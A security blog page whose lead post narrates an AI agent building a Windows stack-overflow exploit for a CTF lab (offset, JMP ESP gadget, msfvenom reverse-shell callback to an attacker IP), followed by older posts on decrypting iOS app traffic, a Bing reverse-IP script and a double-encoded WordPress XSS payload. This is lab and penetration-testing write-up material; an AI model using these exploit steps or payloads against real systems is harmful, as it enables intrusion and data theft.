My Experience using Claude Opus for Exploit Development in CTF

Introduction

Last weekend I was working on a CTF lab where capturing one of the flags required exploiting a local service vulnerable to a stack overflow. I had limited shell access on that system, through an application remote code execution vulnerability, which allowed me identify a service listening on port 8080 on localhost. 

The underlying operating system was Windows 10, which led to an immediate challenge of matching environment for debugging the binary and developing a working exploit and I did not have access to intel-based machine. This is where Claude Opus came into the picture. Out of curiosity I asked Claude to write an exploit without the Windows 10 machine and it helped me with a working exploit within few minutes.

Setup

The Setup that I used was,

• MacOS with Claude Desktop and Opus 4.6 model - Host system used during the CTF
• Kali Linux ARM as virtual machine - System with VPN connection to the lab
• Vulnerable binary downloaded and copied to Kali Linux
• Double pivot tunnel using Ligolo-ng - Advanced tunneling tool (alternative to Chisel)

Establishing Access to Port 8080

Below is the network diagram of the lab where the target server is the system running vulnerable binary on port 8080 on localhost.

In order to access the Target Server, I used Ligolo-ng for tunneling. Below is the summary of the steps carried out to establish the tunnel.

• The Linux Server on 10.10.100.10 had the Ligolo-ng agent connected to Ligolo-ng proxy running on Attackers system.
• A route to 172.20.10.0/24 via tunnel 1 was added to Attackers system.
• A listener was added to this Linux Server where connection on port 4444 would be forwarded to port 11601 which is the Ligolo-ng agent port.
• Ligolo-ng agent on Target Server connected to listener port 4444 on Linux Server which forwarded the traffic to Ligolo-ng agent and that established the connection with Ligolo-ng proxy running on Attackers system.
• A route to 240.0.0.1/24 via tunnel 2 was added to Attackers system. 240.0.0.0/4 is a magic CIDR that allows access to local ports on connected agents.

Claude Opus 4.6 Magic

Now that the Kali Linux can reach vulnerable service using 240.0.0.1:8080, it was time to point Claude Code to this Kali system and let it run. The objective was to provide Claude Code access to the environment where all tools were installed and also the route to the affected service was setup. 

Below section, contains the prompt used and output from Claude Opus 4.6. 

Note: I have modified some text to prevent disclosure of sensitive information (both about my network or related to the CTF solution.) 

Prompt 1:

There is the vulnerable.exe file under path /home/analyst/Desktop/ctf/ on Kali virtual machine which is vulnerable to stack overflow. This is part of the CTF where the machine on which this vulnerable.exe is running has below configuration. It is listening on port 8080 on IP 240.0.0.1.

OS Name: Microsoft Windows 10 Pro

OS Version: 10.0.19042 N/A Build 19042

I want your help to come up with an exploit written in Python for this. I have the tools you need installed on Kali Linux ARM virtual machine. You can SSH to this Kali Linux using 192.168.10.10 IP address and user analyst. The SSH password is <redacted>. I do not have Windows 10 machine where I can debug the binary so check if you can write the exploit using the current setup. 

Claude Output:

Claude Code taking initial SSH access to Kali Linux

I'll help you with this CTF challenge. Let me SSH into your Kali VM and examine the binary first.

SSH requires interactive password input. Let me use `expect` to automate the login.

Initial analysis of the file, basically what you would normally do using file and checksec

Good - it's a PE32 executable (32-bit Intel i386 Windows binary). Let me do deeper static analysis.

Excellent! This is a network service that asks for a password. Let me get more details about the binary structure and look for the password handling and vulnerability.

Now let me disassemble the binary to find the vulnerability details.

Radare2 is available. Let me use it to analyze the binary - find the vulnerability, check protections, and find useful gadgets.

Key findings:

• 32-bit x86 PE binary
• NX (DEP) is disabled (nx: false) - we can execute shellcode on the stack!
• ASLR/PIC disabled (pic: false) - addresses are predictable
• Canary: true - but let's verify if it's actually used in the vulnerable function
• Compiled with MSVC (Windows)

File reversing to understand the application input flow

Now let me analyze the vulnerable function to find the overflow offset.

Let me look at the main function and the function that handles the password/recv to find the overflow.

Main calls fcn.1047440e. Let me disassemble that function.

It jumps to fcn.10477d80. Let me disassemble that - this should be the main server function.

So after accept(), it calls fcn.1047299c which handles the client connection. Let me disassemble that function - this is likely where the vulnerability lives.

Another jump. Let me follow it to fcn.10477d10.

Now I can see the flow:

1. Server sends "Enter User Name: "
2. Receives username, compares with "iroot" (5 bytes)
3. If username is "iroot", sends "User Password: " and receives password
4. Then calls fcn.10473ac7 with the password buffer

The password handling function fcn.10473ac7 is likely where the overflow happens. Let me analyze it and the recv function.

Identify JMP ESP address

Now I found the vulnerability. Let me also look at the fcn.10472631 function which copies the data, and check what recv function looks like.

This is strncpy_s or similar. Now let me also look at the recv function (fcn.1047269f) which reads user input and check if it has size limits.

Now I have a clear picture. Let me find a JMP ESP gadget for the exploit.

Found JMP ESP gadgets. Let me check these addresses for null bytes:

- 0x10477d73 = \x73\x7d\x47\x10 - no null bytes!

Let me also search for CALL ESP as a backup, and verify the JMP ESP gadget is in executable section.

Vulnerability Summary

I now have all the information needed. Here's the vulnerability summary:

Vulnerability Analysis:

• Password handler (0x10477cb0) allocates a 1024-byte (0x400) stack buffer
• Calls strncpy_s(stack_buf, 2049, user_input, 2048) - copies up to 2048 bytes into a 1024-byte buffer
• DEP disabled, ASLR disabled, no stack canary in the vulnerable function
• JMP ESP gadget at 0x10477d73 (no null bytes)
• EIP overwrite offset: 1024 (buffer) + 4 (saved EBP) = 1028 bytes
• Bad character: 0x00 (null terminates strncpy_s)

Adjusting Exploit and Gaining Shell :)

Let me generate shellcode and write the exploit.

Now let me write the complete exploit script and deploy it to the Kali VM.

Let me verify the exploit runs without errors (the assertions pass) and test connectivity to the target.

Good results:

Offset confirmed: sizes up to 1050 returned responses, size 1100 crashed the server — so EIP overwrite is somewhere between 1050 and 1100. This means there might be slight additional padding (compiler alignment). Let me also note that 1032 returned empty (no "Wrong password!") which is interesting — we're starting to corrupt the stack there.

Kali IP: 10.10.14.22 (on tun0 — this is the VPN interface to reach the target)

The offset might need a small adjustment. Let me run a more precise scan around the 1032-1100 range, and simultaneously generate shellcode.

The results confirm our analysis. Key observations:

• Sizes 1028-1040 return "Wrong password!" — this is expected because the server sends the response before the function returns and crashes
• Crashes start at 1044+ — the intermittent timeouts mean the thread crashes on ret after we corrupt EIP
• Offset 1028 is correct — at 1032 bytes we overwrite EIP (1028 padding + 4 bytes of return address)
• The Kali IP on tun0 is 10.10.10.200. Let me generate shellcode and finalize the exploit.

Shellcode generated — 351 bytes, shikata_ga_nai encoded, no null bytes. Now let me update the exploit and deploy it.

Now copy the updated exploit to Kali, start a listener, and fire it.

Now start the netcat listener in the background, then fire the exploit:

Exploit sent successfully! Let me check if the shell connected to our listener:

We got a reverse shell! The exploit worked perfectly.

Prompt 2:

Explain the role of exploit.py and fine_scan.py files that you generated.

Claude Output:

fine_scan.py - EIP Offset Finder

This is a reconnaissance script used to pinpoint the exact buffer size that crashes the target. It:

• Connects to the Server on 240.0.0.1:8080
• Authenticates with username iroot
• Sends increasingly large payloads (1028 to 1080 bytes, in 4-byte increments) as the "password"
• Reports whether each size keeps the server alive or causes a crash/timeout

The goal is to find the precise EIP overwrite offset — the exact number of bytes needed to overwrite the saved return address on the stack. The transition from "ALIVE" to "CRASH" tells you the offset is between those two sizes.

exploit.py - Stack Buffer Overflow Exploit

This is the actual exploit that leverages the vulnerability found by fine_scan.py. The attack chain:

1. Vulnerability: The Server's password handler (fcn.10477cb0) allocates a 1024-byte (0x400) stack buffer but calls strncpy_s allowing up to 2048 bytes — a classic stack buffer overflow.
2. Payload structure (1398 bytes total):
• 1028 bytes of "A" — fills the buffer (1024) + saved EBP (4)
• JMP ESP gadget (0x10477d73) — overwrites the return address (EIP) to jump to the stack
• 16-byte NOP sled — landing zone for the jump
• 351-byte shellcode — msfvenom-generated windows/shell_reverse_tcp (shikata_ga_nai encoded, no null bytes
3. Execution flow: Connects to the server, sends Admin as username, then sends the overflow payload as the password. The server's ret instruction jumps to the gadget, which jumps to ESP (the NOP sled), which slides into the reverse shell shellcode connecting back to 10.10.10.200:443.

In short: fine_scan.py found where to aim, and exploit.py delivers the payload that gives you a remote Windows shell.

Conclusion

Using Claude to tackle CTF challenges turned out to be a genuinely rewarding experience. What started as a shortcut to avoid hunting down a remote Windows 10 setup ended up being something exciting. Agreed that the above example was relatively simple and the model would have struggled or not worked if there were more bad characters, or ASLR/DEP Enabled, but the results were compelling enough to try it further on other CTFs simple and complex alike.

An update to this blog after 11 years!

The last post on this blog was almost 11 years ago! In these last 11 years, both life and my professional career have changed significantly. From leading a team of 20 security analyst, to moving into a DevSecOps role, and now leading the SecOps team at one of the fastest-growing startup where each chapter has taught me invaluable lessons, both technical and professional. I will share more about some of these milestones in the coming posts.

I have missed writing, and also teaching to some extent. There were few unsuccessful attempts made in between to restart this blog or even start a new one on gaming and reversing but none of those posts ever made it past the draft stage. 

In the weeks ahead, I plan to write about various topics related to information security. All or most of my previous posts were related to AppSec since that was what I used to do for living but going forward the topics would vary reflecting lessons learned from SecOps and research related work. There will not be a perfect schedule, but I do promise to show up and share whatever new insights are worth writing about.

If you are still around or finding this blog for the first time, thanks for reading.

iOS - Decrypting AES HTTP data

These days many smartphone applications implement some cryptographic encryption on the data in transit even though if SSL is in place. Now if you are doing a vulnerability assessment of such application, it becomes necessary to break this encryption in order to manipulate parameter values and uncover vulnerabilities.

One of my friend asked me if I could help him in decrypting the traffic of one such application. This being the 4th application that I came across with such behavior so thought of writing a blog post about it.

There can be multiple approach to workaround this encryption but we will cover the following two methods that I generally follow,

1. Decrypting the data with Cycript.
2. Obtaining key and encryption info using Introspy and then decrypting/re-encrypting the data with OpenSSL.

We shall cover each method separately in this blog post.

1. Decrypting data with Cycript

Data decryption with Cycript can be a bit easier as Key/IV, passphrase or other required conditions are already set. Your first goal will be to identify the encryption used which can be achieved by identifying the dumped headers. In this case, the encryption used was AES-256.

Next, identify methods that encrypt/decrypt requests and responses. To make sure that the identified methods are the right one, we can use THEOS logify to log these methods in system logs and check for argument types and values.

Once you have identified these details, let us see how we can decrypt the data with Cycript.

# Store encrypted data in a variable
cy# var encdata = "HHNxq8n5ow95Nw9meMu6GfHGHN+5SpF/gX3vPOONk0vmicGgJdsmT/BMYR6M9jNZT82v6PDnS1POnhI4i8gK0VicZBlxI7zn43KECpfJLM7HFXt4AMQL1/Ad/rTwljwRwE9TC0dALCU9Sekkccv8vva5w4RIFuBwcj4zczj+MSuZrsYuWRwjAj9N1QYeu2X7J+QtPUwxt7mKXW6x252lQg==";  

# Convert NSString to NSData
cy# var mydata = [encdata dataUsingEncoding:4];

# Call class method with required parameters
cy# var decdata = [OLDataEncryptor decryptResponse:mydata];

# Convert the output data from NSData back to NSString
cy# var ptstring = [[NSString alloc] initWithData:decdata encoding:4];

The output will contain the decrypted data in plaintext. To encrypt the plaintext data (or data with your added payloads), similar approach was there.

# Store encrypted data in a variable
cy# var ptstring = “name=aditya&uname=oldmanlab'&isnewuser=true“;  

# Convert NSString to NSData
cy# var mydata = [ptstring dataUsingEncoding:4];

# Get instance of a class. choose() will return an array (if multiple instances, so pick up the right one)
cy# var myobj = choose(OLDataEncryptor);

# Call instance method with required parameters
cy# var encdata = [myobj encryptRequest:mydata];

# Convert the output data from NSData back to NSString
cy# var encrequest = [[NSString alloc] initWithData:encdata encoding:4];

To automate the entire process, a shell script can be written. For example, following shell script will automate the data decryption,

#!/bin/sh

data=$1

echo "var encdata = @\"$data\";" > /tmp/oldman.cy
echo -e "var mydata = [encdata dataUsingEncoding:4];" >> /tmp/oldman.cy
echo -e "var decdata = [OLDataEncryptor decryptResponse:mydata]" >> /tmp/oldman.cy
echo -e "var ptstring = [[NSString alloc] initWithData:decdata encoding:4];" >> /tmp/oldman.cy

cycriptoutput=`cycript -p $2 /tmp/oldman.cy`

You run the above shell script with "bash decrypt.sh encrypted_base64_data pid_of_app" 

2. Introspy + OpenSSL

Since Introspy performs Crypto profiling, most of the cryptographic related details that we require will be logged inside the introspy.db file. Generate a report out of this SQLite database using Introspy Analyzer. Open report.html file with any of your browser and you will see details similar to the one given below.

Click on Hide All button as we are only interested in the Crypto related logged details. You can see that there are three calls registered. As you can guess, one for generating key and other for actual encryption and decryption of the data.  

Following screenshot shows the argument values of PBKDF method call and a Base64 encoded derived key.

Let us decode and convert the key to hex bytes as shown below. It looks like 32 bytes i.e. 256-bit key.

echo -n "+P3+CC+wKFhkZMhj2PqcHur9e6WbZAUQlmfoLPLWVgc=" | base64 -D | xxd -p

To verify if the derived key is correct, generate a key based on available values i.e. salt, password and iteration counts (rounds).

So the 256-bit key is f8fdfe082fb028586464c863d8fa9c1eeafd7ba59b6405109667e82cf2d65607 which is exactly what we have.

Looking at the other method call, we can see the encrypted data and the resultant plaintext data as logged by the Introspy.

 

Let us go ahead and decrypt the data using OpenSSL with the following command,

echo -n encrypted_base64_data | base64 -D | openssl aes-256-cbc -d -nosalt -K our_key -iv 0

Yes, we got the command right. Plaintext data logged by Introspy and the plaintext data output from OpenSSL are similar. Similarly, we can encrypt the data back with the following command,

echo -n plaintext_data | openssl aes-256-cbc -e -nosalt -K our_key -iv 0 | base64

You can easily automate this with a shell script. However, I went ahead and checked for a script in python so that we can create a Burp suite extension out of it.

import M2Crypto
import binascii
from base64 import b64encode, b64decode

ENC=1
DEC=0

def AES_build_cipher(key, iv, op=ENC):
 return M2Crypto.EVP.Cipher(alg='aes_256_cbc', key=key, iv=iv, op=op)

def AES_encryptor(key,msg, iv=None):
 #Decode the key and iv
 key = b64decode(key)
 if iv is None:
  iv = '\0' * 16
 else:
  iv = b64decode(iv)

 # Return the encryption function
 def encrypt(data):
  cipher = AES_build_cipher(key, iv, ENC)
  v = cipher.update(data)
  v = v + cipher.final()
  del cipher
  v = b64encode(v)
  return v

 print "AES encryption successful\n"
 return encrypt(msg)
        
def AES_decryptor(key,msg, iv=None):
 #Decode the key and iv
 key = b64decode(key)
 if iv is None:
  iv = '\0' * 16
 else:
  iv = b64decode(iv)

 # Return the decryption function
 def decrypt(data):
  data = b64decode(data)
  cipher = AES_build_cipher(key, iv, DEC)
  v = cipher.update(data)
  v = v + cipher.final()
  del cipher
  return v

 print "AES dencryption successful\n"
 return decrypt(msg)
        
if __name__ == "__main__":
 key="+P3+CC+wKFhkZMhj2PqcHur9e6WbZAUQlmfoLPLWVgc="
 
 msg="HHNxq8n5ow95Nw9meMu6GfHGHN+5SpF/gX3vPOONk0vmicGgJdsmT/BMYR6M9jNZT82v6PDnS1POnhI4i8gK0VicZBlxI7zn43KECpfJLM7HFXt4AMQL1/Ad/rTwljwRwE9TC0dALCU9Sekkccv8vva5w4RIFuBwcj4zczj+MSuZrsYuWRwjAj9N1QYeu2X7J+QtPUwxt7mKXW6x252lQg=="

 dec = AES_decryptor(key,msg=msg)
 print dec
 enc = AES_encryptor(key,msg=dec)
 print enc
 print msg

Reference for Python code: http://passingcuriosity.com/2009/aes-encryption-in-python-with-m2crypto/

 

trying to overwrite '/Applications/._.DS_Store' error while installing iRET and Snoop-it simultaneously

If you try to install iRET when Snoop-it is already installed or the other way around, you will notice an error message as mentioned in the title of this post. For example, you will see the following error message when trying to install iRET using dpkg and Snoop-it already installed,

trying to overwrite '/Applications/._.DS_Store', which is also in package de.nesolabs.snoopit

 
As you would have already guessed, ._.DS_Store is a file in both packages i.e. iRET and Snoop-it. So until an updated package is released by @aykay or @S3Jensen, we can manually unpack and repack iRET to resolve this issue.

root@kali#dpkg-deb -x iRET.deb iRET_tmp/                    #Extract package contents.
root@kali#dpkg-deb -e iRET.deb iRET_tmp/DEBIAN/             #Extract control file.
root@kali#find iRET_tmp/ -name "*DS_Store" -type f -delete  #Delete all DS_Store files.
root@kali#vi iRET_tmp/DEBIAN/control                        #Remove double quotes from the version tag.
root@kali#dpkg-deb -b iRET_tmp/ updated_iRET.deb            #Build a new deb file.

Install this updated_iRET.deb file on your iOS device and it should now install without any error.

Oracle Forms application security assessment setup

Recently, I came across an application assessment which was based on an Oracle Forms technology with JInitiator 1.3.1.26. This post quickly describes few setup options to pentest such applications.

Facts

• Oracle Forms can be configured at server to use JRE or JInitiator based on the requirement. 
• When in HTTP mode, Oracle Forms uses a proprietary encryption scheme to encrypt the data in transit.
• When configured to use JInitiator and HTTP mode, it is painful to do assessment.

 In HTTPS mode with JInitiator, you can setup an intercepting proxy such as BURP suite and do the assessment. In its default installation, JInitiator is configured to use browser proxy settings. This can be changed through the JInitiator menu under the Windows Control Panel as shown below,

While in HTTP mode with JInitiator, you are left with little choice.One way is to configure JInitiator to open a debug port and then connect with a debugger. JSwat can be a good choice but in my case it crashed the application everytime and so did the Netbeans native debugger. Only JDB worked for me using below mentioned steps,

In the JInitiator control panel, under the Basic tab, specify the following Java Runtime Parameters,

-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5000

Click on Apply. Then connect to the given port (5000) using any popular Java debugger or using JDB with the following command,

jdb.exe -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=5000

Once you have the connection in the debugger, you know where to move ahead.

Summary

1. Oracle Forms + JInitiator/JRE + HTTPS = You can use any browser and a BURP proxy
2. Oracle Forms + JInitiator + HTTP = Method shown in this blog
3. Oracle Forms + JRE + HTTP = You can use JavaSnoop

Reverse IP lookup using new Bing API

Bing has recently changed it's API and has moved it to datamarket.azure.com. It allows 5000 searches/month for free. The python script given below will find all the domains hosted at a user specified IP address.

A reverse lookup can be made using an IP address or a domain name. To run this script, you will require to register at the above mentioned website in order to get the account key.

import urllib2, socket,sys,base64
from xml.dom.minidom import parse, parseString


def showhelp():
        print """
#####################################################
#  Reverse Host python script by oldman lab0ratory  #
#             visit oldmanlab.blogspot.com          #
#####################################################
Usage: python revhost.py -key [ACCOUNT_KEY] [OPTIONS]

[OPTIONS]

-ip     [IP ADDRESS]
-domain [DOMAIN NAME]
"""

def bing(account_key,ip):
    sites = []
    skip = 0
    top = 50

    while skip < 200:
          url = "https://api.datamarket.azure.com/Data.ashx/Bing/Search/v1/Web?Query='ip:%s'&$top=%s&$skip=%s&$format=Atom"%
          (ip,top,skip)
          request = urllib2.Request(url)
          auth = base64.encodestring("%s:%s" % (account_key, account_key)).replace("\n", "")
          request.add_header("Authorization", "Basic %s" % auth)
          res = urllib2.urlopen(request)
          data = res.read()

          xmldoc = parseString(data)
          site_list = xmldoc.getElementsByTagName('d:Url')
          for site in site_list:
              domain = site.childNodes[0].nodeValue
              domain = domain.split("/")[2]
              if domain not in sites:
                 sites.append(domain)

          skip += 50

    print "Total domains found: %s \n\n" %(len(sites))
    for site in sites:
        print site


def options(arguments):
   try:
    count = 0
    ip = ""
    account_key = ""
    for arg in arguments:
        if arg == "-ip":
           ip = arguments[count+1]
        elif arg == "-domain":
           ip = socket.gethostbyname(arguments[count+1])
        elif arg == "-key":
           account_key = arguments[count+1]
        count = count+1
    bing(account_key,ip)
   except:
    print "something went wrong"

if __name__ == "__main__":
   if len(sys.argv) <= 3 or "-key" not in sys.argv:
      showhelp()
      sys.exit()
   else:
      options(sys.argv)

You can download the script from here

Persistent XSS in wordpress 3.3.2 [LOW]

There is a persistent XSS vulnerability in the wordpress version 3.3.2. However, the severity of this finding is very LOW. Reported this on April 26th and they confirmed it but then got no further reply from them (may be as this has LOW severity so who cares ;-) )

The detail is as follow,

a) Login into an admin account

b) Navigate to Links -> Links Categories

c) Fill up the required details and intercept the request with a BURP suite.

d) The injectable parameter is slug. If you inject <script>alert(1)</script> as a value to parameter "slug", the application strips it off and the value becomes alert1. 

But if the payload is double encode then ;-) 

<script>alert(1)</script> when converted to %253cscript%253ealert%25281%2529%253c%252fscript%253e bypasses this xss protection. 

The following request shows the raw HTTP request from BURP along with the vulnerable parameter and payload marked in bold.

POST /wordpress/wp-admin/edit-tags.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=2&post_type=post
Cookie: blahblahbcookieblah
Content-Type: application/x-www-form-urlencoded
Content-Length: 379

action=editedtag&tag_ID=2&taxonomy=link_category&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dlink_category&_wpnonce=83974d7f8f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Faction%3Dedit%26taxonomy%3Dlink_category%26tag_ID%3D2%26post_type%3Dpost&name=Blogroll&slug=injecthere%253cscript%253ealert%25281%2529%253c%252fscript%253e&description=sectest&submit=Update